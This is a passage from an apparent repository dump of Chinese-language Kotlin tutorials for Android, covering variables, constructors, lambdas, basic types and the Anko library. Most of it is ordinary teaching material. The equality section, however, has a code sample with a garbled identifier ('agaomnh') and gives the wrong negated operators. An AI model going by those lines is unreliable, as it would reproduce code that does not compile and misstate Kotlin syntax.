</entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(八).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"453\">\n            <caret line=\"540\" lean-forward=\"true\" selection-start-line=\"540\" selection-end-line=\"540\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n  </component>\n</project>"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(一).md",
    "content": "Kotlin学习教程(一)\n===\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/android_kotlin.jpeg?raw=true)\n\n在`5月18`日谷歌在`I/O`开发者大会上宣布，将`Kotlin`语言作为安卓开发的一级编程语言。并且会在`Android Studio 3.0`版本全面支持`Kotlin`。   \n\n- `Kotlin`是一个基于`JVM`的新的编程语言，由[JetBrains](https://www.jetbrains.com/)开发。`JetBrains`作为目前广受欢迎的\n`Java IDE IntelliJ`的提供商，在`Apache`许可下已经开源其`Kotlin`编程语言。     \n- `Kotlin`可以编译成`Java`字节码，也可以编译成`JavaScript`，方便在没有`JVM`的设备上运行。      \n- `Kotlin`已正式成为`Android`官方开发语言。\n\n[Kotlin官网](https://kotlinlang.org/)\n\n`JetBrains`这家公司非常牛逼，开发了很多著名的软件，他们在使用`Java`的过程中发现`java`比较笨重不方便，所以就开发了`kotlin`，`kotlin`是\n一种全栈的开发语言，可以用它进行开发`web`、`web`后端、`Android`等。    \n\n很多开发者都说`Google`学什么不好，非要学苹果，出个`android`的`swift`版本，一定会搞不起来没人用，所以不用浪费时间去学习。在这里想引用马云\n的一句话: \n> 拥抱变化\n\n`Google`做事，向来言出必行，之前在推行`Android Studio`时也是一片骂声，吐槽各种不好用，各种慢。但是现在`Android Studio`基本都已经普及了。\n我相信`Kotlin`也不会例外。所以我们不仅要学，还要要认真的学。    \n\n\n### `Kotlin`的特性\n\n- 它更加易表现：这是它最重要的优点之一。你可以编写少得多的代码。\n- `Kotlin`是一种兼容`Java`的语言\n- `Kotlin`比`Java`更安全，能够静态检测常见的陷阱。如:引用空指针\n- `Kotlin`比`Java`更简洁，通过支持`variable type inference，higher-order functions (closures)，extension functions，mixins \nand first-class delegation`等实现\n- `Kotlin`可与`Java`语言无缝通信。这意味着我们可以在`Kotlin`代码中使用任何已有的`Java`库；同样的`Kotlin`代码还可以为`Java`代码所用\n- `Kotlin`在代码中很少需要在代码中指定类型，因为编译器可以在绝大多数情况下推断出变量或是函数返回值的类型。这样就能获得两个好处:简洁与安全\n\n\n### `Kotlin`优势 \n\n- 全面支持`Lambda`表达式\n- 数据类`Data classes`\n- 函数字面量和内联函数`Function literals & inline functions`\n- 函数扩展`Extension functions`\n- 空安全`Null safety`\n- 智能转换`Smart casts`\n- 字符串模板`String templates`\n- 主构造函数`Primary constructors`\n- 类委托`Class delegation`\n- 类型推判`Type inference`\n- 单例`Singletons`\n- 声明点变量`Declaration-site variance`\n- 区间表达式`Range expressions`\n\n\n上面说简洁简洁，到底简洁在哪里？这里先用一个例子开始，在`Java`开发过程中经常会写一些`Bean`类:  \n```java\npackage com.charon.kotlinstudydemo;\n\npublic class Person {\n    private int age;\n    private String name;\n    private float height;\n    private float weight;\n\n    public int getAge() {\n        return age;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public float getHeight() {\n        return height;\n    }\n\n    public void setHeight(float height) {\n        this.height = height;\n    }\n\n    public float getWeight() {\n        return weight;\n    }\n\n    public void setWeight(float weight) {\n        this.weight = weight;\n    }\n\n    @Override\n    public String toString() {\n        return \"Person name is : \" + name + \" age is : \" + age + \" height is :\"\n                + height + \" weight is :\" + weight;\n    }\n}\n```\n使用`Kotlin`:  \n```kotlin\npackage com.charon.kotlinstudydemo\n\ndata class Person(\n        var name: String,\n        var age: Int,\n        var height: Float,\n        var weight: Float)\n```\n这个数据类，它会自动生成所有属性和它们的访问器，以及一些有用的方法，比如`toString()`方法。   \n这里插一嘴，从上面的例子中我们可以看到对于包的声明基本是一样的，唯一不同的是`kotlin`中后面结束不用分号。 \n\n\n### 创建`Kotlin`项目      \n\n`Google`宣布在`Android Studio 3.0`版本会全面支持`Kotlin`，目前早就有预览版了\n[Android Studio Preview](https://developer.android.com/studio/preview/index.html)(个人感觉很好用，比2.3.3版本强多了)。\n直接通过`New Project`创建就可以，与创建普通`Java`项目唯一不同的是要勾选`Include Kotlin support`的选项。   \n\n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/studio_create_kotlin.png?raw=true)\n\n创建完成后我们看一下`MainActivity`的代码:    \n```kotlin\n// 定义包\npackage com.charon.kotlinstudydemo\n\n// 导入\nimport android.support.v7.app.AppCompatActivity\nimport android.os.Bundle\n\n// 定义类，继承AppCompatActivity\nclass MainActivity : AppCompatActivity() {\n\t\n\t// 重写方法用overide，函数名用fun声明  参数是a: 类型的形式 ?是啥？它是指明该对象可能为null，\n\t// 如果有了?那在调用该方法的时候参数可以传递null进入，如果没有?传递null就会报错\n    override fun onCreate(savedInstanceState: Bundle?) {\n    \t// super \n        super.onCreate(savedInstanceState)\n        // 调用方法\n        setContentView(R.layout.activity_main)\n    }\n}\n```\n\n我们就从`MainActivity`的代码开始介绍一些基本的语法。   \n\n### 变量\n\n变量可以很简单地定义成可变`var`(可读可写)和不可变`val`(只读)的变量。\n\n`val`与`Java`中使用的`final`很相似。一个不可变对象意味着它在实例化之后就不能再去改变它的状态了。如果你需要一个这个对象修改之后的版本，\n那就会再创建一个新的对象。\n\n声明:  \n```kotlin\nvar age: Int = 18\nval name: String = \"charon\"\n```\n\n再提示一下:`kotlin`中每行代码结束不需要分号了，不要和`java`是的每行都带分号\n\n字面上可以写明具体的类型。这个不是必须的，但是一个通用的`Kotlin`实践时省略变量的类型我们可以让编译器自己去推断出具体的类型:   \n```kotlin\nvar age = 18 // int\nval name = \"charon\" // string\nvar height = 180.5f // flat\nvar weight = 70.5 // double\n```\n\n在`Kotlin`中，一切都是对象。没有像`Java`中那样的原始基本类型。\n当然，像`Integer`，`Float`或者`Boolean`等类型仍然存在，但是它们全部都会作为对象存在的。基本类型的名字和它们工作方式都是与`Java`非常相似\n的，但是有一些不同之处你可能需要考虑到:    \n\n- 数字类型中不会自动转型。举个例子，你不能给`Double`变量分配一个`Int`。必须要做一个明确的类型转换，可以使用众多的函数之一:   \n\t```kotlin\n\tprivate var age = 18\n\tprivate var weight = age.toFloat()\n\t```\n- 字符（`Char`）不能直接作为一个数字来处理。在需要时我们需要把他们转换为一个数字:       \n\t```kotlin\n\tval c: Char='c'\n\tval i: Int = c.toInt()\n\t```\n- 位运算也有一点不同。在`Android`中，我们经常在`flags`中使用`或`:      \n\t```java\n\t// Java\n\tint bitwiseOr = FLAG1 | FLAG2;\n\tint bitwiseAnd = FLAG1 & FLAG2;\n\t```\n\n\t```kotlin\n\t// Kotlin\n\tval bitwiseOr = FLAG1 or FLAG2\n\tval bitwiseAnd = FLAG1 and FLAG2\n\t```\n\n- 一个`String`可以像数组那样访问，并且被迭代:     \n\t```kotlin\n\tvar s = \"charon\"\n\tvar c = s[2]\n\n\tfor (a in s) {\n\t    Log.e(\"@@@\", a +\"\");\n\t}\n\t```\n\n\n##### 编译期常量\n\n已知值的属性可以使用`const`修饰符标记为编译期常量(类似`java`中的`public static final`)。\n`const`只能修复`val`不能修复`var`,这些属性需要满足以下要求:      \n- 位于顶层或者是`object`的一个成员\n- 用`String`或原生类型值初始化\n- 没有自定义`getter`\n\n```kotlin\n// Const val are only allowed on top level or in objects\nconst val NAME: String = \"charon\"\n\nclass MainActivity : AppCompatActivity() {\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n    }\n}\n```\n\n\n##### 后端变量`Backing Fields`.  \n\n在`kotlin`的`getter`和`setter`是不允许本身的局部变量的，因为属性的调用也是对`get`的调用，因此会产生递归，造成内存溢出。\n\n例如:    \n\n```kotlin\nvar count = 1\nvar size: Int = 2\nset(value) {\n    Log.e(\"text\", \"count : ${count++}\")\n    size = if (value > 10) 15 else 0\n}\n```\n这个例子中就会内存溢出。   \n\n`kotlin`为此提供了一种我们要说的后端变量，也就是`field`。编译器会检查函数体，如果使用到了它，就会生成一个后端变量，否则就不会生成。\n我们在使用的时候，用`field`代替属性本身进行操作。\n\n\n##### 延迟初始化   \n\n我们说过，在类内声明的属性必须初始化，如果设置非`null`的属性，应该将此属性在构造器内进行初始化。\n假如想在类内声明一个`null`属性，在需要时再进行初始化（最典型的就是懒汉式单例模式），与`Kotlin`的规则是相背的，此时我们可以声明一个属性并\n延迟其初始化，此属性用`lateinit`修饰符修饰。\n\n```kotlin\nclass MainActivity : AppCompatActivity() {\n    lateinit var name : String\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n        var test = MainActivity()\n        // 要先调用方法让其初始化\n        test.init()\n        // 再使用其属性\n        Log.e(\"@@@\", test.name)\n    }\n\n    fun init() {\n        // 延迟初始化\n        name = \"charon\"\n    }\n}\n```\n需要注意的是，我们在使用的时候，一定要确保属性是被初始化过的，通常先调用初始化方法，否则会有异常。\n如果只是用`lateinit`声明了，但是还没有调用初始化方法就使用，哪怕你判断了该变量是否为`null`也是会`crash`的。\n```kotlin\nprivate lateinit var test: String\n\nprivate fun switchFragment(position: Int) {\n    if (test == null) {\n        LogUtil.e(\"@@@\", \"test is null\")\n    } else {\n        LogUtil.e(\"@@@\", \"test is not null\")\n        check(test)\n    }\n}\n```\n会报`kotlin.UninitializedPropertyAccessException: lateinit property test has not been initialized`\n\n除了使用`lateinit`外还可以使用`by lazy {}`效果是一样的：   \n```kotlin\nprivate val test by lazy { \"haha\" }\n\nprivate fun switchFragment(position: Int) {\n    if (test == null) {\n        LogUtil.e(\"@@@\", \"test is null\")\n    } else {\n        LogUtil.e(\"@@@\", \"test is not null ${test}\")\n        check(test)\n    }\n}    \n```\n执行结果:   \n```\ntest is not null haha\n```\n\n那`lateinit`和`by lazy`有什么区别呢？    \n\n- `by lazy{}`只能用在`val`类型而`lateinit`只能用在`var`类型\n- `lateinit`不能用在可空的属性上和`java`的基本类型上,否则会报`lateinit`错误   \n\n\n### 类的定义:使用`class`关键字   \n\n类可以包含:  \n- 构造函数和初始化块\n- 函数\n- 属性\n- 嵌套类和内部类\n- 对象声明\n\n\n```kotlin\nclass MainActivity{\n\n}\n```\n\n如果有参数的话你只需要在类名后面写上它的参数，如果这个类没有任何内容可以省略大括号：\n```kotlin\nclass Person(name: String, age: Int)\n```\n\n##### 创建类的实例  \n\n```kotlin\nval person = Person(\"charon\", 18)\n```\n\n上面的类有一个默认的构造函数。\n\n注意:创建类的实例不用`new`了啊。\n\n\n### 构造函数 \n\n在`Kotlin`中的一个类可以有一个主构造函数和一个或多个次构造函数。\n\n##### 主构造函数\n\n主构造函数是类头的一部分:它跟在类名（和可选的类型参数）后:   \n```kotlin\nclass Person constructor(name: String, surname: String) {\n}\n```\n如果主构造函数没有任何注解或者可见性修饰符，可以省略`constructor`关键字:   \n```kotlin\nclass Person(name: String, surname: String) {\n}\n```\n\n主构造函数不能包含任何的代码。初始化的代码可以放到以`init`关键字作为前缀的初始化块中:    \n\n```kotlin\nclass Person constructor(name: String, surname: String) {\n    init {\n        print(\"name is $name and surname is $surname\")\n    }\n}\n```\n\n如果构造函数有注解或可见性修饰符，那么`constructor`关键字是必需的，并且这些修饰符在它前面:   \n```kotlin\nclass Person private @Inject constructor(name: String, surname: String) {\n    init {\n        print(\"name is $name and surname is $surname\")\n    }\n}\n```\n\n##### 次构造函数\n\n类也可以声明前缀有`constructor`的次构造函数: \n```kotlin\nclass Person{\n    constructor(name: String) {\n        print(\"name is $name\")\n    }\n}\n```\n\n如果类有一个主构造函数，每个次构造函数都需要委托给主构造函数(不然会报错)， 可以直接委托或者通过别的次构造函数间接委托。\n委托到同一个类的另一个构造函数用`this`关键字即可:    \n```kotlin\nclass Person constructor(name: String) {\n    constructor(name: String, surName: String) : this(name) {\n        Log.d(\"@@@\", \"name is : $name surName is : $surName\")\n    }\n}\n```\n使用该对象:   \n```kotlin\nclass MainActivity : AppCompatActivity() {\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n        Person(\"charon\", \"chui\")\n    }\n}\n```\n就会在`logcat`上打印:   \n`09-20 16:51:19.738 6010-6010/com.charon.kotlinstudydemo D/@@@: name is : charon surName is : chui`\n\n如果一个非抽象类没有声明任何（主或次）构造函数，它会有一个生成的不带参数的主构造函数。构造函数的可见性是`public`。\n如果你不希望你的类有一个公有构造函数，你需要声明一个带有非默认可见性的空的主构造函数：\n\n```kotlin\nclass Person private constructor(name: String) {\n}\n```\n\n\n### 接口:使用`interface`关键字    \n\n```kotlin\ninterface FlyingAnimal {\n    fun fly()\n}\n```\n\n### 函数:通过`fun`关键字定义\n\n```kotlin\nfun onCreate(savedInstanceState: Bundle?) {\n    super.onCreate(savedInstanceState)\n    setContentView(R.layout.activity_main)\n}\n```\n如果你没有指定它的返回值，它就会返回`Unit`与`Java`中的`void`类似，但是`Unit`是一个真正的对象。`Unit`可以省略，\n你当然也可以指定任何其它的返回类型:      \n```kotlin\nfun maxOf(a: Int, b: Int): Int {\n    if (a > b) {\n        return a\n    } else {\n        return b\n    }\n}\n```\n\n然而如果返回的结果可以使用一个表达式计算出来，你可以不使用括号而是使用等号:         \n```kotlin\nfun add(x: Int,y: Int) : Int = x + y\n```\n\n我们可以给参数指定一个默认值使得它们变得可选，这是非常有帮助的。这里有一个例子，在`Activity`中创建了一个函数用来`Toast`一段信息:    \n```kotlin\nfun toast(message: String, length: Int = Toast.LENGTH_SHORT) {\n    Toast.makeText(this, message, length).show()\n}\n```\n上面代码中第二个参数`length`指定了一个默认值。这意味着你调用的时候可以传入第二个值或者不传，这样可以避免你需要的重载函数：\n\n```kotlin\ntoast(\"Hello\")\ntoast(\"Hello\", Toast.LENGTH_LONG)\n```\n\n##### 自定义`get set`方法:   \n\n`Kotlin`会默认创建`set get`方法，我们也可以自定义`get set`方法:\n`kotlin`预留了一个在`set`和`get`中访问的变量`field`关键字:  \n\n```kotlin\nclass Person constructor() {\n    var name: String = \"\"\n        get() = field\n        set(value) {\n            field = \"$value\"\n        }\n\n    var age: Int = 0\n        get() = field\n        set(value) {\n            field = value\n        }\n}\n```\n按照惯例`set`参数的名称是`value`，但是如果你喜欢你可以选择一个不同的名称。\n\n\n##### 可变长参数函数:使用`vararg`关键字\n\n```kotlin\nfun vars(vararg v:Int){\n    for(vt in v){\n        print(vt)\n    }\n}\n\n// 测试\nfun main(args: Array<String>) {\n    vars(1,2,3,4,5)  // 输出12345\n}\n```\n\n\n### 注释  \n\n和`Java`差不多\n\n```kotlin\n\n// 这是一个行注释\n\n/* 这是一个多行的\n   块注释。 */\n```\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(七).md",
    "content": "Kotlin学习教程(七)\n===\n\n这篇文章主要学习下`lambda`表达式。因为后续一些例子会用到。\n\n\n> “Lambda 表达式”(lambda expression)其实就是匿名函数，`Lambda`表达式基于数学中的`λ`演算得名，直接对应于其中的`lambda`抽象\n> `(lambda abstraction)`，是一个匿名函数，即没有函数名的函数。`Lambda`表达式可以表示闭包（注意和数学传统意义上的不同）。\n\n`Java 8`的一个大亮点是引入`Lambda`表达式，使用它设计的代码会更加简洁。\n\n```java\n// 没有使用Lambda的老方法:   \nbutton.addActionListener(new ActionListener(){\n\tpublic void actionPerformed(ActionEvent ae){\n\t\tSystem.out.println(\"Actiondetected\");\n\t}\n});\n// 使用Lambda:  \nbutton.addActionListener(()->{ \n\tSystem.out.println(\"Actiondetected\");\n});\n\n\n// 不采用Lambda的老方法: \nRunnable runnable1=new Runnable(){\n\t@Override\n\tpublic void run(){\n\t\tSystem.out.println(\"RunningwithoutLambda\");\n\t}\n};\n// 使用Lambda:   \nRunnable runnable2=()->{\n\tSystem.out.println(\"RunningfromLambda\");\n};\n```\n\n`Lambda`能让代码更简洁，而主打简洁的`Kotlin`怎么可能不支持呢？ 当然会支持。    \n\n下面来看看一个简短的概述:   \n\n- `lambda`表达式总是被大括号括着\n- 其参数(如果有的话)在`->`之前声明(参数类型可以省略)，\n- 函数体(如果存在的话)在`->`后面。\n\n`Lambda`表达式是定义匿名函数的简单方法。由于`Lambda`表达式避免在抽象类或接口中编写明确的函数声明，进而也避免了类的实现部分，\n所以它是非常有用的。在`Kotlin`语言中，可以将一函数作为另一函数的参数。\n\n`Lambda`表达式由箭头左侧函数的参数（在圆括号里的内容）定义的，将值返回到箭头右侧。\n`view.setOnClickListener({ view -> toast(\"Click\")})`\n在定义函数时，必须在箭头的左侧用方括号，并指定参数值，而函数的执行代码在箭头右侧。如果左侧不使用参数，甚至可以省去左侧部分:  \n`view.setOnClickListener({ toast(\"Click\") })`\n如果函数的最后一个参数是一个函数的话，可以将作为参数的函数移到圆括号外面:\n`view.setOnClickListener() { toast(\"Click\") }`\n\n\n先看一个例子:    \n\n```kotlin\nfun compare(a: String, b: String): Boolean {\n    return a.length < b.length\n}\nmax(strings, compare)\n```\n就是找出`strings`里面最长的那个。但是我个人觉得`compare`还是很碍眼的，因为我并不想在后面引用他，那我怎么办呢，就是用“匿名函数”方式。\n```kotlin\nmax(strings, (a,b)->{a.length < b.length})\n```\n\n`(a,b)->{a.length < b.length}`就是一个没有名字的函数，直接作为参数赋给`max`方法的第二个参数。但这个方法有很多东西都没有写明，如:   \n\n- 参数的类型\n- 返回值的类型\n\n但这些真的必要吗？`a.length < b.length`很明显返回一个`Boolean`的值，再就是`max`的定义中肯定也定义了这个函数的参数类型和返回值类型。\n这么明显的事为什么不让计算机自己去做而要让人写代码去做呢？这就是匿名函数的好处了。到这里，我们已经和`Lambda`很接近了。\n\n```kotlin\nval sum: (Int, Int) -> Int = { x, y -> x + y }\n```\n\n`Lambda`表达式就是被大括号括着的那一部分，在`->`符号之前有参数声明，函数体跟在一个`->`符号之后。\n而且此`Lambda`表达式之前有一个匿名的函数声明(在此例中两个`Int`型的输入，一个`Int`型的返回值)，这个声明是可以不使用的。\n则此`Lambda`表达式变成`val sum = { x: Int, y: Int -> x + y }`，此时`Lambda`表达式会根据主体中的最后一个（或可能是单个）表达式会视为\n返回值。当然，在某些特定情况下，`x`、`y`的类型了是可以推断的，所以`val sum = { x, y -> x + y }`。\n\n\n\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(三).md",
    "content": "Kotlin学习教程(三)\n===\n\n前面介绍了基本语法和编码规范后，接下来学习下基本类型。  \n\n在`Kotlin`中，所有东西都是对象，在这个意义上讲我们可以在任何变量上调用成员函数和属性。 一些类型可以有特殊的内部表示——例如，\n数字、字符和布尔值可以在运行时表示为原生类型值，但是对于用户来说，它们看起来就像普通的类。 在本节中，我们会描述`Kotlin`中使用的基本类型:\n数字、字符、布尔值、数组与字符串。\n\n### 数字  \n\n`Kotlin`处理数字在某种程度上接近`Java`,但是并不完全相同。例如，对于数字没有隐式拓宽转换（如`Java`中`int`可以隐式转换为`long`)，\n另外有些情况的字面值略有不同。\n\n`Kotlin`提供了如下的内置类型来表示数字:    \n\n```\nType    Bit width\nDouble  64\nFloat   32\nLong    64\nInt     32\nShort   16\nByte    8\n````\n\n注意在`Kotlin`中字符不是数字,字符用`Char`类型表示。它们不能直接当作数字\n\n\n### 字面常量\n\n数值常量字面值有以下几种:   \n- 十进制:123\n- `Long`类型用大写`L`标记:`123L`\n- 十六进制:`0x0F`\n- 二进制:`0b00001011`\n\n注意: 不支持八进制\n\n`Kotlin`同样支持浮点数的常规表示方法:   \n\n默认`double`:123.5、123.5e10，`Float`用`f`或者`F`标记:`123.5f`\n\n你可以使用下划线使数字常量更易读\n\n```kotlin\nval oneMillion = 1_000_000\nval creditCardNumber = 1234_5678_9012_3456L\nval socialSecurityNumber = 999_99_9999L\nval hexBytes = 0xFF_EC_DE_5E\nval bytes = 0b11010010_01101001_10010100_10010010\n```\n\n### 引用相等\n\n引用相等由`===`以及其否定形式`!===`操作判断。`a === b`当且仅当`a`和`b`指向同一个对象时求值为`true`。\n\n### 结构相等\n\n结构相等由`==`以及其否定形式`!==`操作判断。按照惯例，像`a == b`这样的表达式会翻译成      \n`a?.equals(b) ?: (b === null)`\n也就是说如果`a`不是`null`则调用`equals(Any?)`函数，否则即`a`是`null`检查`b`是否与`null`引用相等。\n\n```kotlin\nval a: Int = 10000\nprint(a === a) // 输出“true”\nval boxedA: Int? = agaomnh\nval anotherBoxedA: Int? = a\nprint(boxedA === anotherBoxedA) // ！！！输出“false”！！！\n```\n\n另一方面，它保留了相等性:\n```kotlin\nval a: Int = 10000\nprint(a == a) // 输出“true”\nval boxedA: Int? = a\nval anotherBoxedA: Int? = a\nprint(boxedA == anotherBoxedA) // 输出“true”\n```\n\n### 显式转换\n\n由于不同的表示方式，较小类型并不是较大类型的子类型。 如果它们是的话，就会出现下述问题：\n\n```kotlin\n// 假想的代码，实际上并不能编译：\nval a: Int? = 1 // 一个装箱的 Int (java.lang.Integer)\nval b: Long? = a // 隐式转换产生一个装箱的 Long (java.lang.Long)\nprint(a == b) // 惊！这将输出“false”鉴于 Long 的 equals() 检测其他部分也是 Long\n```\n\n所以同一性还有相等性都会在所有地方悄无声息地失去。\n因此较小的类型不能隐式转换为较大的类型。 这意味着在不进行显式转换的情况下我们不能把`Byte`型值赋给一个`Int`变量。\n\n```kotlin\nval b: Byte = 1 // OK, 字面值是静态检测的\nval i: Int = b // 错误\n```\n\n我们可以显式转换来拓宽数字\n```kotlin\nval i: Int = b.toInt() // OK: 显式拓宽\n```\n\n每个数字类型支持如下的转换:\n\n```kotlin\ntoByte(): Byte\ntoShort(): Short\ntoInt(): Int\ntoLong(): Long\ntoFloat(): Float\ntoDouble(): Double\ntoChar(): Char\n```\n\n### 运算\n\n这是完整的位运算列表(只用于`Int`和`Long`):\n\n```kotlin\nshl(bits) – 有符号左移 (Java 的 <<)\nshr(bits) – 有符号右移 (Java 的 >>)\nushr(bits) – 无符号右移 (Java 的 >>>)\nand(bits) – 位与\nor(bits) – 位或\nxor(bits) – 位异或\ninv() – 位非\n相等性检测：a == b 与 a != b\n比较操作符：a < b、 a > b、 a <= b、 a >= b\n区间实例以及区间检测：a..b、 x in a..b、 x !in a..b\n|| – 短路逻辑或\n&& – 短路逻辑与\n! - 逻辑非\n```\n\n\n### 字符串\n\n字符串用`String`类型表示。字符串是不可变的。字符串的元素——字符可以使用索引运算符访问:`s[i]`。可以用`for`循环迭代字符串:   \n\n```kotlin\nfor (c in str) {\n    println(c)\n}\n```\n`Kotlin`有两种类型的字符串字面值: 转义字符串可以有转义字符，以及原生字符串可以包含换行和任意文本。转义字符串很像`Java`字符串:\n```kotlin\nval s = \"Hello, world!\\n\"\n```\n转义采用传统的反斜杠方式。\n\n原生字符串 使用三个引号`\"\"\"`分界符括起来，内部没有转义并且可以包含换行和任何其他字符:   \n\n```kotlin\nval text = \"\"\"\n    for (c in \"foo\")\n        print(c)\n\"\"\"\n```\n你可以通过`trimMargin()`函数去除前导空格:   \n\n```kotlin\nval text = \"\"\"\n    |Tell me and I forget.\n    |Teach me and I remember.\n    |Involve me and I learn.\n    |(Benjamin Franklin)\n    \"\"\".trimMargin()\n```\n\n### 字符串模板\n\n字符串可以包含模板表达式，即一些小段代码，会求值并把结果合并到字符串中。模板表达式以美元符`$`开头，由一个简单的名字构成:  \n\n```kotlin\nval i = 10\nval s = \"i = $i\" // 求值结果为 \"i = 10\"\n```\n\n或者用花括号括起来的任意表达式:\n```kotlin\nval s = \"abc\"\nval str = \"$s.length is ${s.length}\" // 求值结果为 \"abc.length is 3\"\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/Kotlin学习教程(九).md",
    "content": "Kotlin学习教程(九)\n===\n\n\n`Kotlin`团队为`Android`开发提供了一套超越标准语言功能的工具:    \n\n- `Kotlin Android Extensions`是一个编译器扩展，可以让您摆脱代码中的`findViewById()`调用，并将其替换为合成编译器生成的属性。\n- `Anko`是一个提供围绕`Android API`和`DSL`的一组`Kotlin`友好的包装器，可以用`Kotlin`代码替换`layout .xml`文件。\n\n\n### `Anko`\n\n[Anko](https://github.com/Kotlin/anko)是`Kotlin`官方出品用于`Android`开发的库。\n\n\n> `Anko is a Kotlin library which makes Android application development faster and easier. It makes your code clean and \n> easy to read, and lets you forget about rough edges of the Android SDK for Java.`\n\n\n> Anko consists of several parts:\n>\n> Anko Commons: a lightweight library full of helpers for intents, dialogs, logging and so on;\n    > Intents;\n    > Dialogs and toasts;\n    > Logging;\n    > Resources and dimensions;\n> Anko Layouts: a fast and type-safe way to write dynamic Android layouts;\n> Anko SQLite: a query DSL and parser collection for Android SQLite;\n> Anko Coroutines: utilities based on the kotlinx.coroutines library.\n\n`Anko`使用`DSL`提供了很多便捷的功能，可以直接用代码去写布局，不过我还是接受不了，感觉用`xml`写布局把布局和逻辑区分开挺好，这里就不介绍了，想用的可以去看看。 \n\n这里就用几个简单的`commons`中的例子，平时想要启动另一个`activity`我们经常这样写:   \n```kotlin\nval intent = Intent(this, SomeOtherActivity::class.java)\nintent.putExtra(\"id\", 5)\nintent.setFlag(Intent.FLAG_ACTIVITY_SINGLE_TOP)\nstartActivity(intent)\n```\n这里要四行代码，太多了，`anko`提供了更简单的方式:   \n```kotlin\nstartActivity(intentFor<SomeOtherActivity>(\"id\" to 5).singleTop())\n```\n如果不设置`flag`的话还可以这样写:   \n```kotlin\nstartActivity<SomeOtherActivity>(\"id\" to 5)\n```\n\n而且`anko`还提供了一些常用的`intent`的封装功能:   \n\n- 打电话`makeCall(number) without tel`\n- 发短信`sendSMS(number, [text]) without sms`\n- 浏览网页`browse(url)`\n- 分享`share(text, [subject])`\n- 发邮件`email(email, [subject], [text])`\n\n进行`toast`和`snakebar`提示:    \n```kotlin\ntoast(\"Hi there!\")\ntoast(R.string.message)\nlongToast(\"Wow, such duration\")\n\nsnackbar(view, \"Hi there!\")\nsnackbar(view, R.string.message)\nlongSnackbar(view, \"Wow, such duration\")\nsnackbar(view, \"Action, reaction\", \"Click me!\") { doStuff() }\n```\n\n对话框:   \n```kotlin\nalert(\"Hi, I'm Roy\", \"Have you tried turning it off and on again?\") {\n    yesButton { toast(\"Oh…\") }\n    noButton {}\n}.show()\n\n// 列表对话框\nval countries = listOf(\"Russia\", \"USA\", \"Japan\", \"Australia\")\nselector(\"Where are you from?\", countries, { dialogInterface, i ->\n    toast(\"So you're living in ${countries[i]}, right?\")\n})\n\n// 进度对话框\nval dialog = progressDialog(message = \"Please wait a bit…\", title = \"Fetching data\")\n```\n\n`log`：  \n```kotlin\nclass SomeActivity : Activity(), AnkoLogger {\n    private fun someMethod() {\n        info(\"London is the capital of Great Britain\")\n        debug(5) // .toString() method will be executed\n        warn(null) // \"null\" will be printed\n    }\n}\n```\n或者:   \n```kotlin\nclass SomeActivity : Activity() {\n    private val log = AnkoLogger<SomeActivity>(this)\n    private val logWithASpecificTag = AnkoLogger(\"my_tag\")\n\n    private fun someMethod() {\n        log.warning(\"Big brother is watching you!\")\n    }\n}\n```\n\n`dimens`: \n\n可以直接使用`px2dip`和`px2sp`来进行尺寸转换。  \n\n\n异步操作:   \n```kotlin\ndoAsync {\n    // Long background task\n    uiThread {\n        result.text = \"Done\"\n    }\n}\n```\n\n使用`anko`:    \n```kotlin\n// 创建一个verticallayout并且添加edittext和button，并给button设置点击事件\nverticalLayout {\n    val name = editText()\n    button(\"Say Hello\") {\n        onClick { toast(\"Hello, ${name.text}!\") }\n    }\n}\n```\n\n\n### Kotlin Android Extensions\n\n相信每一位安卓开发人员对`findViewById()`这个方法再熟悉不过了，毫无疑问，潜在的`bug`和脏乱的代码令后续开发无从下手的。 尽管存在一系列的\n开源库能够为这个问题带来解决方案，然而对于运行时依赖的库，需要为每一个`View`注解变量字段。\n\n现在`Kotlin`安卓扩展插件能够提供与这些开源库功能相同的体验，不需要添加任何额外代码，也不影响任何运行时体验。\n另一个`Kotlin`团队研发的可以让开发更简单的插件是`Kotlin Android Extensions`。当前仅仅包括了`view`的绑定。这个插件自动创建了很多的属性\n来让我们直接访问`XML`中的`view`。这种方式不需要你在开始使用之前明确地从布局中去找到这些`views`。\n\n这些属性的名字就是来自对应`view`的`id`，所以我们取`id`的时候要十分小心，因为它们将会是我们类中非常重要的一部分。这些属性的类型也是来自\n`XML`中的，所以我们不需要去进行额外的类型转换。\n\n`Kotlin Android Extensions`的一个优点是它不需要在我们的代码中依赖其它额外的库。它仅仅由插件组层，需要时用于生成工作所需的代码，只需要依赖\n于`Kotlin`的标准库。\n\n开发者仅需要在模块的`build.gradle`文件中启用`Gradle`安卓扩展插件即可:   \n\n```\napply plugin: 'kotlin-android-extensions'\n```\n\n我们在使用`Android Sutdio 3.0`创建`Kotlin`项目时默认已经添加了该依赖。   \n\n```kotlin\n// 使用来自主代码集的 R.layout.activity_main\nimport kotlinx.android.synthetic.main.activity_main.*\n\nclass MyActivity : Activity() {\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n        setContentView(R.layout.activity_main)\n        textView.setText(\"Hello, world!\")\n        // 而不是 